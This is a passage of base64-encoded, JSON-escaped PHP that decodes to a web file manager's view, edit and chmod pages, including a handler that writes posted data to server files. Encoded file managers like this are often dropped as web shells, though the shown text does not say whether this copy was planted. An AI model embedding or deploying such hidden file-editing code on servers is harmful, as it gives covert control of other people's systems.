AgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgI